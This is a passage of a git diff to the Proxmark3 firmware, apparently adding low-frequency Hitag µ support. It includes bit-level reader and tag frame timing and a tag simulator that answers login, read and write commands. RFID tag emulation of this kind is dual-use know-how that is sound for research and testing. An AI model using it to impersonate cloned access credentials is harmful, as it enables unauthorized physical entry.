modulation (BPLM) is used to encode the data stream + // This means that a transmission of a one takes longer than that of a zero + HIGH(GPIO_SSC_DOUT); + + // Wait for 4-10 times the carrier period + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {}; + + LOW(GPIO_SSC_DOUT); + + if (bit == 0) { + // Zero bit: |_-| + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_0) {}; + } else { + // One bit: |_--| + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_1) {}; + } + + if (ledcontrol) LED_A_OFF(); +} + +void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len, bool ledcontrol, bool send_sof) { + // Send SOF (Start of Frame) for Hitag µ if requested + if (send_sof) { + hitag_reader_send_bit(0, ledcontrol); + + // Reset clock for the code violation + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + while (AT91C_BASE_TC0->TC_CV != 0) {}; + + if (ledcontrol) LED_A_ON(); + + // SOF is HIGH for HITAG_T_LOW + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {}; + + // Then LOW for HITAG_T_CODE_VIOLATION + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_CODE_VIOLATION) {}; + + if (ledcontrol) LED_A_OFF(); + } + + // Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + hitag_reader_send_bit(TEST_BIT_MSB(frame, i), ledcontrol); + } + + // Send EOF + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + while (AT91C_BASE_TC0->TC_CV != 0) {}; + + HIGH(GPIO_SSC_DOUT); + + // Wait for 4-10 times the carrier period + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {}; + + LOW(GPIO_SSC_DOUT); +} + +void hitag_reader_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *resptime, bool ledcontrol, + MOD modulation, int sof_bits) { + // Reset values for receiving frames + memset(rx, 0x00, sizeofrx); + *rxlen = 0; + + int lastbit = 1; + bool bSkip = true; + uint32_t errorCount = 0; + bool bStarted = false; + uint16_t next_edge_event = AT91C_TC_LDRBS; + int double_speed = (modulation == AC4K || modulation == MC8K) ? 2 : 1; + + uint32_t rb_i = 0; + uint8_t edges[160] = {0}; + + // Skip SOF bits + bool sof_received = false; + + // Receive tag frame, watch for at most T0*HITAG_T_PROG_MAX periods + while (AT91C_BASE_TC0->TC_CV < (T0 * HITAG_T_PROG_MAX)) { + // Check if edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & next_edge_event) { + next_edge_event = next_edge_event ^ (AT91C_TC_LDRAS | AT91C_TC_LDRBS); + + // only use AT91C_TC_LDRBS falling edge for now + if (next_edge_event == AT91C_TC_LDRBS) continue; + + // Retrieve the new timing values + uint32_t rb = AT91C_BASE_TC1->TC_RB / T0; + edges[rb_i++] = rb; + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + if (ledcontrol) LED_B_INV(); + + // Capture tag frame (manchester decoding using only falling edges) + if (bStarted == false) { + if (rb >= HITAG_T_WAIT_RESP) { + bStarted = true; + + // Capture tag response timestamp + *resptime = TIMESTAMP; + + // We always receive a 'one' first, which has the falling edge after a half period |-_| + rx[0] = 0x80; + *rxlen = 1; + } else { + errorCount++; + } + } else { + // Handle different modulation types + if (modulation == AC2K || modulation == AC4K) { + // Anticollision Coding + if (rb >= HITAG_T_TAG_CAPTURE_FOUR_HALF / double_speed) { + // Anticollision Coding example |--__|--__| (00) + lastbit = 0; + // CLEAR_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } else if (rb >= HITAG_T_TAG_CAPTURE_THREE_HALF / double_speed) { + // Anticollision Coding example |-_-_|--__| (10) or |--__|-_-_| (01) + lastbit = !lastbit; + if (lastbit) SET_BIT_MSB(rx, *rxlen); + (*rxlen)++; + + bSkip = !!lastbit; + } else if (rb >= HITAG_T_TAG_CAPTURE_TWO_HALF / double_speed) { + // Anticollision Coding example |-_-_| (1) + if (bSkip == false) { + lastbit = 1; + SET_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } + + bSkip = !bSkip; + } else { + // Ignore weird value, is to small to mean anything + errorCount++; + } + } else { + // Manchester coding (MC4K, MC8K) + if (rb >= HITAG_T_TAG_CAPTURE_FOUR_HALF / double_speed) { + // Manchester coding example |-_|_-|-_| (101) + // CLEAR_BIT_MSB(rx, *rxlen); + (*rxlen)++; + + SET_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } else if (rb >= HITAG_T_TAG_CAPTURE_THREE_HALF / double_speed) { + // Manchester coding example |_-|...|_-|-_| (0...01) + // CLEAR_BIT_MSB(rx, *rxlen); + (*rxlen)++; + + // We have to skip this half period at start and add the 'one' the second time + if (bSkip == false) { + SET_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } + + lastbit = !lastbit; + bSkip = !bSkip; + } else if (rb >= HITAG_T_TAG_CAPTURE_TWO_HALF / double_speed) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + // bit is same as last bit + if (lastbit) SET_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } else { + // Ignore weird value, is to small to mean anything + errorCount++; + } + } + + // Handle SOF bits + if (sof_received == false && *rxlen >= sof_bits) { + // Check if SOF is valid (all bits should be 1) + if ((rx[0] >> (8 - sof_bits)) != ((1 << sof_bits) - 1)) { + if (sof_bits == 4) { + sof_bits = 3; + // Hitag µ is LSB first 0b110 + if ((rx[0] & 0xE0) != 0xC0) { + DBG Dbprintf("Warning, SOF is invalid rx[0]: 0x%02X", rx[0]); + } + } else { + DBG DbpString("Warning, not all bits of SOF are 1"); + } + } + + *rxlen -= sof_bits; + uint8_t tmp = rx[0]; + rx[0] = 0x00; + for (size_t i = 0; i < *rxlen; i++) { + if (TEST_BIT_MSB(&tmp, sof_bits + i)) SET_BIT_MSB(rx, i); + } + // DBG Dbprintf("after sof_bits rxlen: %d rx[0]: 0x%02X", *rxlen, rx[0]); + sof_received = true; + } + } + } + + // if we saw over 100 weird values break it probably isn't hitag... + if (errorCount > 100 || (*rxlen) / 8 >= sizeofrx) { + break; + } + + // We can break this loop if we received the last bit from a frame + // max periods between 2 falling edge + // RTF AC64 |--__|--__| (00) 64 * T0 + // RTF MC32 |_-|-_|_-| (010) 48 * T0 + if (AT91C_BASE_TC1->TC_CV > (T0 * 80)) { + if (bStarted) { + break; + } + } + } + + DBG { + Dbprintf("RX %i:%02X.. resptime:%i edges:", *rxlen, rx[0], *resptime); + Dbhexdump(rb_i, edges, false); + } +} + +// Tag functions - depends on modulation type +static void hitag_tag_send_bit(int bit, MOD modulation, bool ledcontrol) { + // Reset clock for the next bit + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + if (ledcontrol) LED_A_ON(); + + switch (modulation) { + case AC2K: { + if (bit == 0) { + // AC Coding --__ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; + } else { + // AC coding -_-_ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 48) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; + } + break; + } + case AC4K: { + if (bit == 0) { + // AC Coding --__ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD) {}; + } else { + // AC coding -_-_ + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 24) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + } + break; + } + case MC4K: { + if (bit == 0) { + // Manchester: Unloaded, then loaded |__--| + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + } else { + // Manchester: Loaded, then unloaded |--__| + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; + } + break; + } + case MC8K: { + if (bit == 0) { + // Manchester: Unloaded, then loaded |__--| + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; + + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + } else { + // Manchester: Loaded, then unloaded |--__| + HIGH(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; + + LOW(GPIO_SSC_DOUT); + while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; + } + break; + } + } + + if (ledcontrol) LED_A_OFF(); +} + +void hitag_tag_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *start_time, bool ledcontrol, int *overflow) { + uint16_t next_edge_event = AT91C_TC_LDRBS; + uint8_t edges[160] = {0}; + uint32_t rb_i = 0; + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { + + // Check if edge in modulation is detected + if (AT91C_BASE_TC1->TC_SR & next_edge_event) { + next_edge_event = next_edge_event ^ (AT91C_TC_LDRAS | AT91C_TC_LDRBS); + + // only use AT91C_TC_LDRBS falling edge for now + if (next_edge_event == AT91C_TC_LDRBS) continue; + + // Retrieve the new timing values + uint32_t rb = AT91C_BASE_TC1->TC_RB / T0 + *overflow; + *overflow = 0; + + edges[rb_i++] = rb; + + if (ledcontrol) LED_B_INV(); + + // Capture reader cmd start timestamp + if (*start_time == 0) { + *start_time = TIMESTAMP - HITAG_T_LOW; + } + + // Capture reader frame + if (rb >= HITAG_T_STOP) { + // Hitag µ SOF + if (*rxlen != 0 && *rxlen != 1) { + // DBG DbpString("weird0?"); + break; + } + *rxlen = 0; + } else if (rb >= HITAG_T_1_MIN) { + // '1' bit + SET_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } else if (rb >= HITAG_T_0_MIN) { + // '0' bit + // CLEAR_BIT_MSB(rx, *rxlen); + (*rxlen)++; + } else { + // Ignore weird value, is too small to mean anything + } + } + } + + if (ledcontrol) LED_B_OFF(); + + DBG if (rb_i) { + Dbprintf("RX %i bits.. start_time:%i edges:", *rxlen, *start_time); + Dbhexdump(rb_i, edges, false); + } +} + +void hitag_tag_send_frame(const uint8_t *frame, size_t frame_len, int sof_bits, MOD modulation, bool ledcontrol) { + // The beginning of the frame is hidden in some high level; pause until our bits will have an effect + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + HIGH(GPIO_SSC_DOUT); + + switch (modulation) { + case AC4K: + case MC8K: { + while (AT91C_BASE_TC0->TC_CV < T0 * 40) {}; // FADV + break; + } + case AC2K: + case MC4K: { + while (AT91C_BASE_TC0->TC_CV < T0 * 20) {}; // STD + ADV + break; + } + } + + // SOF - send start of frame + for (size_t i = 0; i < sof_bits; i++) { + if (sof_bits == 4 && i == 3) { + // Hitag µ SOF is 110 + hitag_tag_send_bit(0, modulation, ledcontrol); + break; + } else + hitag_tag_send_bit(1, modulation, ledcontrol); + } + + // Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + hitag_tag_send_bit(TEST_BIT_MSB(frame, i), modulation, ledcontrol); + } + + LOW(GPIO_SSC_DOUT); +} diff --git a/armsrc/hitag_common.h b/armsrc/hitag_common.h new file mode 100644 index 000000000..16a966240 --- /dev/null +++ b/armsrc/hitag_common.h @@ -0,0 +1,57 @@ +#ifndef HITAG_COMMON_H +#define HITAG_COMMON_H + +#include "hitag.h" + +// Sam7s has several timers, we will use the source TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK) +// TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, Timer is running at 48MHz/32 = 1500 KHz +// Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) +// T0 = TIMER_CLOCK3 / 125000 = 12 + +#define T0 12 + +#define HITAG_FRAME_LEN 20 + +// TC0 and TC1 are 16-bit counters and will overflow after 5461 * T0 +// Ensure not to set these timings above 5461 (~43ms) when comparing without considering overflow, as they will never reach that value. + +#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ +#define HITAG_T_0 20 /* T[0] should be 18..22 */ +#define HITAG_T_1 28 /* T[1] should be 26..32 */ +#define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ +#define HITAG_T_1_MIN 25 /* T[1] should be 26..32 */ +#define HITAG_T_STOP 36 /* T_EOF should be > 36 */ +#define HITAG_T_CODE_VIOLATION 36 /* Hitag µ TFcv should be 34..38 */ +#define HITAG_T_EOF 80 /* T_EOF should be > 36 */ + +#define HITAG_T_WAIT_RESP 200 /* T_wresp should be 204..212 */ +#define HITAG_T_WAIT_SC 200 /* T_wsc should be 90..5000 */ +#define HITAG_T_WAIT_FIRST 300 /* T_wfc should be 280..565 (T_ttf) */ +#define HITAG_T_PROG_MAX 750 /* T_prog should be 716..726 */ + +#define HITAG_T_TAG_ONE_HALF_PERIOD 10 +#define HITAG_T_TAG_TWO_HALF_PERIOD 25 +#define HITAG_T_TAG_THREE_HALF_PERIOD 41 +#define HITAG_T_TAG_FOUR_HALF_PERIOD 57 + +#define HITAG_T_TAG_HALF_PERIOD 16 +#define HITAG_T_TAG_FULL_PERIOD 32 + +#define HITAG_T_TAG_CAPTURE_ONE_HALF 13 +#define HITAG_T_TAG_CAPTURE_TWO_HALF 25 +#define HITAG_T_TAG_CAPTURE_THREE_HALF 41 +#define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 + +extern uint16_t timestamp_high; +#define TIMESTAMP ( (AT91C_BASE_TC2->TC_SR & AT91C_TC_COVFS) ? timestamp_high += 1 : 0, ((timestamp_high << 16) + AT91C_BASE_TC2->TC_CV) / T0) + +// Common hitag functions +void hitag_setup_fpga(uint16_t conf, uint8_t threshold, bool ledcontrol); +void hitag_cleanup(bool ledcontrol); +void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len, bool ledcontrol, bool send_sof); +void hitag_reader_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *resptime, bool ledcontrol, MOD modulation, + int sof_bits); +void hitag_tag_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *start_time, bool ledcontrol, int *overflow); +void hitag_tag_send_frame(const uint8_t *frame, size_t frame_len, int sof_bits, MOD modulation, bool ledcontrol); + +#endif diff --git a/armsrc/hitagu.c b/armsrc/hitagu.c new file mode 100644 index 000000000..897439f7c --- /dev/null +++ b/armsrc/hitagu.c @@ -0,0 +1,897 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Low frequency HITAG µ (micro) functions + +#include "hitagu.h" +#include "hitag_common.h" + +#include "BigBuf.h" +#include "appmain.h" // tearoff_hook() +#include "cmd.h" +#include "commonutil.h" +#include "crc16.h" +#include "dbprint.h" +#include "fpgaloader.h" +#include "hitag2/hitag2_crypto.h" +#include "lfadc.h" +#include "protocols.h" +#include "proxmark3_arm.h" +#include "string.h" +#include "ticks.h" +#include "util.h" + +// Hitag µ specific definitions +#define HTU_SOF_BITS 4 // Start of frame bits is always 3 for Hitag µ (110) plus 1 bit error flag + +MOD M = MC4K; // Modulation type + +// Structure to hold the state of the Hitag µ tag +static struct hitagU_tag tag = { + .pstate = HT_READY, // Initial state is ready + .max_page = HITAGU_MAX_PAGE_STANDARD, // Default to standard version + .icr = 0, // Default ICR value +}; + +// Macros for managing authentication state +#define IS_AUTHENTICATED() (tag.pstate == HT_AUTHENTICATE) +#define SET_AUTHENTICATED() (tag.pstate = HT_AUTHENTICATE) +#define RESET_AUTHENTICATION() (tag.pstate = HT_READY) + +/* + * Update the maximum page number based on the tag's ICR (IC Revision) + */ +static void update_tag_max_page_by_icr(void) { + // Set max_page based on ICR value + switch (tag.icr) { + case HITAGU_ICR_STANDARD: + tag.max_page = HITAGU_MAX_PAGE_STANDARD; + DBG Dbprintf("Detected standard Hitag µ (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page); + break; + case HITAGU_ICR_ADVANCED: + tag.max_page = HITAGU_MAX_PAGE_ADVANCED; + DBG Dbprintf("Detected Hitag µ advanced (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page); + break; + case HITAGU_ICR_ADVANCED_PLUS: + tag.max_page = HITAGU_MAX_PAGE_ADVANCED_PLUS; + DBG Dbprintf("Detected Hitag µ advanced+ (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page); + break; + case HITAGU_ICR_8265: + tag.max_page = HITAGU_MAX_PAGE_8265; + DBG Dbprintf("Detected Hitag µ 8265 (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page); + break; + default: + // Unknown ICR, use standard size as fallback + tag.max_page = HITAGU_MAX_PAGE_STANDARD; + DBG Dbprintf("Unknown Hitag µ ICR: 0x%02X, defaulting to max page: 0x%02X", tag.icr, tag.max_page); + break; + } +} + +/* + * Update the maximum page number based on the tag's memory configuration + * This function checks both ICR and additional pattern-based detection + */ +static void update_tag_max_page(void) { + // First try to determine max_page from ICR + update_tag_max_page_by_icr(); + + // Additional tag type detection can be added here +} + +/* + * Handles all commands from a reader for Hitag µ + * Processes flags and commands, generates appropriate responses + */ +static void htu_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { + // Initialize response + *txlen = 0; + + if (rxlen < 5) { + return; // Command too short + } + + // Extract flags (5 bits) and command (6 bits if present) + uint8_t flags = (rx[0] >> 3) & 0x1F; + uint8_t command = 0; + + if (rxlen >= 11) { + // Extract 6-bit command if present + command = ((rx[0] & 0x07) << 3) | ((rx[1] >> 5) & 0x07); + } + + // Check flags + bool inv_flag = (flags & HITAGU_FLAG_INV); + bool crct_flag = (flags & HITAGU_FLAG_CRCT); + + // Handle based on flags and command + if (inv_flag) { + // Inventory mode - respond with UID (48 bits) + *txlen = concatbits(tx, *txlen, tag.uid, 0, HITAGU_UID_SIZE * 8, true); + } else if (command == HITAGU_CMD_LOGIN) { + // Login command + if (rxlen >= 43) { // 5+6+32 bits = 43 bits minimum + // Extract password - 32 bits after command + uint32_t password = 0; + for (int i = 0; i < 4; i++) { + int startBit = 11 + i * 8; // 5+6 bits of command + i*8 + uint8_t b = 0; + + for (int j = 0; j < 8; j++) { + int bitPos = startBit + j; + int pos = bitPos / 8; + int shift = 7 - (bitPos % 8); + b |= ((rx[pos] >> shift) & 0x01) << (7 - j); + } + password |= (b << (24 - i * 8)); + } + + // Check password + if (password == ((tag.password[0] << 24) | (tag.password[1] << 16) | (tag.password[2] << 8) | tag.password[3])) { + // Set authentication state + SET_AUTHENTICATED(); + + // Send success response + uint8_t resp_byte = 0x01; // Success code + *txlen = concatbits(tx, *txlen, &resp_byte, 0, 8, true); + } else { + // Authentication failed + RESET_AUTHENTICATION(); + + // Send failure response + uint8_t resp_byte = 0x00; // Failure code + *txlen = concatbits(tx, *txlen, &resp_byte, 0, 8, true); + } + } + } else if (command == HITAGU_CMD_SELECT) { + // Select command + if (rxlen >= 59) { // 5+6+48 bits = 59 bits minimum (48-bit UID) + // Extract UID to select - next 48 bits + uint8_t sel_uid[6] = {0}; + for (int i = 0; i < 6; i++) { + int startBit = 11 + i * 8; // 5+6 bits of command + i*8 + uint8_t b = 0; + + for (int j = 0; j < 8; j++) { + int bitPos = startBit + j; + int pos = bitPos / 8; + int shift = 7 - (bitPos % 8); + b |= ((rx[pos] >> shift) & 0x01) << (7 - j); + } + sel_uid[i] = b; + } + + // Check if UID matches + if (memcmp(sel_uid, tag.uid, 6) == 0) { + // Selected - send response with select data + uint8_t resp_data[4] = {0xCA, 0x24, 0x00, 0x00}; // Standard select response + *txlen = concatbits(tx, *txlen, resp_data, 0, 32, true); + } else { + // UID mismatch - no response + *txlen = 0; + } + } + } else if (command == HITAGU_CMD_READ_MULTIPLE_BLOCK) { + // Read command + if (rxlen >= 19) { // 5+6+8 bits = 19 bits minimum + // Extract page address - 8 bits after command + uint8_t page = 0; + for (int i = 0; i < 8; i++) { + int bitPos = 11 + i; // 5+6 bits of command + i + int pos = bitPos / 8; + int shift = 7 - (bitPos % 8); + page |= ((rx[pos] >> shift) & 0x01) << (7 - i); + } + + // Extract number of blocks to read if ADR flag is set + uint8_t read_len = 1; // Default to 1 page + if ((flags & HITAGU_FLAG_ADR) && rxlen >= 27) { + for (int i = 0; i < 8; i++) { + int bitPos = 19 + i; + int pos = bitPos / 8; + int shift = 7 - (bitPos % 8); + if (pos < (rxlen + 7) / 8) { + read_len |= ((rx[pos] >> shift) & 0x01) << (7 - i); + } + } + } + + // Security check: does this page require authentication? + bool needs_auth = false; + // Check if page is password-protected (e.g., config or password page) + if (page == HITAGU_PASSWORD_PADR) { + needs_auth = true; + } + + // Check authentication for protected pages + if (needs_auth && !IS_AUTHENTICATED()) { + // Not authenticated, cannot read protected pages + DBG Dbprintf("Page %d requires authentication", page); + + // Mark as unauthorized access + *txlen = 0; // No response + } else { + // Map page address (some pages may be aliased) + uint8_t real_page = page; + if (page >= 64 && tag.max_page <= 64) { + real_page = page & 0x3F; // Pages above 64 map to 0-63 + } + + // Read requested number of pages + for (int i = 0; i < read_len && i < 16; i++) { // Limit to 16 pages max + uint8_t curr_page = (real_page + i) % tag.max_page; + + // Special pages + if (curr_page == HITAGU_CONFIG_PADR) { + // Config page + *txlen = concatbits(tx, *txlen, (uint8_t *)&tag.config, 0, 32, true); + } else if (curr_page == HITAGU_PASSWORD_PADR) { + // Password page - only return if authenticated + if (IS_AUTHENTICATED()) { + *txlen = concatbits(tx, *txlen, tag.password, 0, 32, true); + } else { + // Return zeros if not authenticated + uint8_t zeros[4] = {0}; + *txlen = concatbits(tx, *txlen, zeros, 0, 32, true); + } + } else { + // Regular page + *txlen = concatbits(tx, *txlen, tag.data.pages[curr_page], 0, 32, true); + } + } + } + } + } else if (command == HITAGU_CMD_WRITE_SINGLE_BLOCK) { + // Write command + if (rxlen >= 51) { // 5+6+8+32 bits = 51 bits minimum + // Check if authenticated + if (!IS_AUTHENTICATED()) { + DBG Dbprintf("WRITE failed: not authenticated"); + *txlen = 0; // No response + } else { + // Extract page address - 8 bits after command + uint8_t page = 0; + for (int i = 0; i < 8; i++) { + int bitPos = 11 + i; // 5+6 bits of command + i + int pos = bitPos / 8; + int shift = 7 - (bitPos % 8); + page |= ((rx[pos] >> shift) & 0x01) << (7 - i); + } + + // Extract data - 32 bits after page address + uint8_t data[4] = {0}; + for (int i = 0; i < 4; i++) { + for (int j = 0; j < 8; j++) { + int bitPos = 19 + i * 8 + j; + int pos = bitPos / 8; + int shift = 7 - (bitPos % 8); + if (pos < (rxlen + 7) / 8) { + data[i] |= ((rx[pos] >> shift) & 0x01) << (7 - j); + } + } + } + + // Map page address + uint8_t real_page = page; + if (page >= 64 && tag.max_page <= 64) { + real_page = page & 0x3F; // Pages above 64 map to 0-63 + } + + // Special pages + if (real_page == HITAGU_CONFIG_PADR) { + // Write config + memcpy(&tag.config, data, 4); + DBG Dbprintf("WRITE CONFIG: %02X %02X %02X %02X", data[0], data[1], data[2], data[3]); + } else if (real_page == HITAGU_PASSWORD_PADR) { + // Write password + memcpy(tag.password, data, 4); + DBG Dbprintf("WRITE PASSWORD: %02X %02X %02X %02X", data[0], data[1], data[2], data[3]); + } else if (real_page < tag.max_page) { + // Regular page + memcpy(tag.data.pages[real_page], data, 4); + DBG Dbprintf("WRITE PAGE %02X: %02X %02X %02X %02X", real_page, data[0], data[1], data[2], data[3]); + } + + // Send success acknowledgment + uint8_t ack = 0x01; // Success acknowledgment + *txlen = concatbits(tx, *txlen, &ack, 0, 8, true); + } + } + } else if (command == HITAGU_CMD_SYSINFO) { + // System info command + // Prepare system info response with ICR field + uint8_t info[8] = {0}; + + // First byte: Error flag (0) + 7 reserved bits + info[0] = 0x00; + + // Additional bytes: System Memory Block Data + // MSN (Manufacturer Serial Number) - example values + info[1] = 0x12; + info[2] = 0x34; + + // MFC (Manufacturer Code) - example value + info[3] = 0x04; // NXP + + // ICR (IC Revision) + info[4] = tag.icr; + + // Reserved bytes + info[5] = 0x00; + info[6] = 0x00; + info[7] = 0x00; + + // Add the system info data to the response + *txlen = concatbits(tx, *txlen, info, 0, 64, true); + } else if (flags == HITAGU_CMD_STAY_QUIET) { + // Quiet command - no response needed + RESET_AUTHENTICATION(); + *txlen = 0; + } else { + // Unknown command + DBG Dbprintf("Unknown command or flags: flags=%02X, cmd=%02X", flags, command); + *txlen = 0; // No response + } + + // Add CRC if requested and there is response data + if (crct_flag && *txlen > 0) { + // Calculate CRC-16/XMODEM directly from tx + uint16_t crc = Crc16(tx, *txlen, 0, CRC16_POLY_CCITT, false, true); + + // Append CRC-16 (16 bits) + *txlen = concatbits(tx, *txlen, (uint8_t *)&crc, 0, 16, true); + } +} + +/* + * Simulates a Hitag µ Tag with the given data + */ +void htu_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol) { + + uint8_t rx[HITAG_FRAME_LEN] = {0}; + size_t rxlen = 0; + uint8_t tx[HITAG_FRAME_LEN]; + size_t txlen = 0; + + // Free any allocated BigBuf memory + BigBuf_free(); + BigBuf_Clear_ext(false); + + DbpString("Starting Hitag µ simulation"); + + // Reset tag state + memset(&tag, 0, sizeof(tag)); + tag.max_page = 64; // Default maximum page + RESET_AUTHENTICATION(); + + // Read tag data into memory if supplied + if (tag_mem_supplied) { + DbpString("Loading Hitag µ memory..."); + // First 6 bytes are the UID (48 bits) + memcpy(tag.uid, data, 6); + // Rest is page data + memcpy(tag.data.pages, data + 6, sizeof(tag.data.pages)); + } + + // Update max_page based on configuration + update_tag_max_page(); + + // Debug output of tag data + DBG Dbprintf("UID: %02X%02X%02X%02X%02X%02X", tag.uid[0], tag.uid[1], tag.uid[2], tag.uid[3], tag.uid[4], tag.uid[5]); + + for (int i = 0; i <= tag.max_page; i++) { + DBG Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, tag.data.pages[i][0], tag.data.pages[i][1], + tag.data.pages[i][2], tag.data.pages[i][3]); + } + + hitag_setup_fpga(0, threshold, ledcontrol); + + int overflow = 0; + + // Simulation main loop + while ((BUTTON_PRESS() == false) && (data_available() == false)) { + uint32_t start_time = 0; + + WDT_HIT(); + + // Receive commands from the reader + hitag_tag_receive_frame(rx, sizeof(rx), &rxlen, &start_time, ledcontrol, &overflow); + + // Check if frame was captured and store it + if (rxlen > 0) { + LogTraceBits(rx, rxlen, start_time, TIMESTAMP, true); + + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Prepare tag response (tx) + memset(tx, 0x00, sizeof(tx)); + txlen = 0; + + // Process received reader command + htu_handle_reader_command(rx, rxlen, tx, &txlen); + + // Wait for HITAG_T_WAIT_RESP carrier periods after the last reader bit, + // not that since the clock counts since the rising edge, but T_Wait1 is + // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) + // periods. The gap time T_Low varies (4..10). All timer values are in + // terms of T0 units + while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_RESP - HITAG_T_LOW)) { + }; + + // Send and store the tag answer (if there is any) + if (txlen > 0) { + // Transmit the tag frame + start_time = TIMESTAMP; + hitag_tag_send_frame(tx, txlen, HTU_SOF_BITS, MC4K, ledcontrol); + LogTraceBits(tx, txlen, start_time, TIMESTAMP, false); + } + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Reset the received frame and response timing info + memset(rx, 0x00, sizeof(rx)); + } + + // Reset the frame length + rxlen = 0; + // Save the timer overflow, will be 0 when frame was received + overflow += (AT91C_BASE_TC1->TC_CV / T0); + // Reset the timer to restart while-loop that receives frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; + } + + hitag_cleanup(ledcontrol); + // Release allocated memory from BigBuf + BigBuf_free(); + + DbpString("Simulation stopped"); +} + +/* + * Send command to reader and receive answer from tag + */ +static int htu_reader_send_receive(uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *rxlen, + uint32_t t_wait, bool ledcontrol, uint8_t modulation, uint8_t sof_bits) { + // Reset the received frame + memset(rx, 0x00, sizeofrx); + + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = 